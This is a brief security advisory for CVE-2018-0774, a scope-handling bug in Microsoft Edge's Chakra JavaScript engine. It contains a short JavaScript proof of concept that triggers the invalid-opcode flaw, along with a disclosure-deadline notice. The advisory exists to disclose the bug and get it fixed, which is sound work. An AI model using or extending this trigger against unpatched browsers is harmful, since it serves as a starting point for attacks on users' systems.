Microsoft Edge: Chakra: Incorrect scope handling 

CVE-2018-0774


PoC:
(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt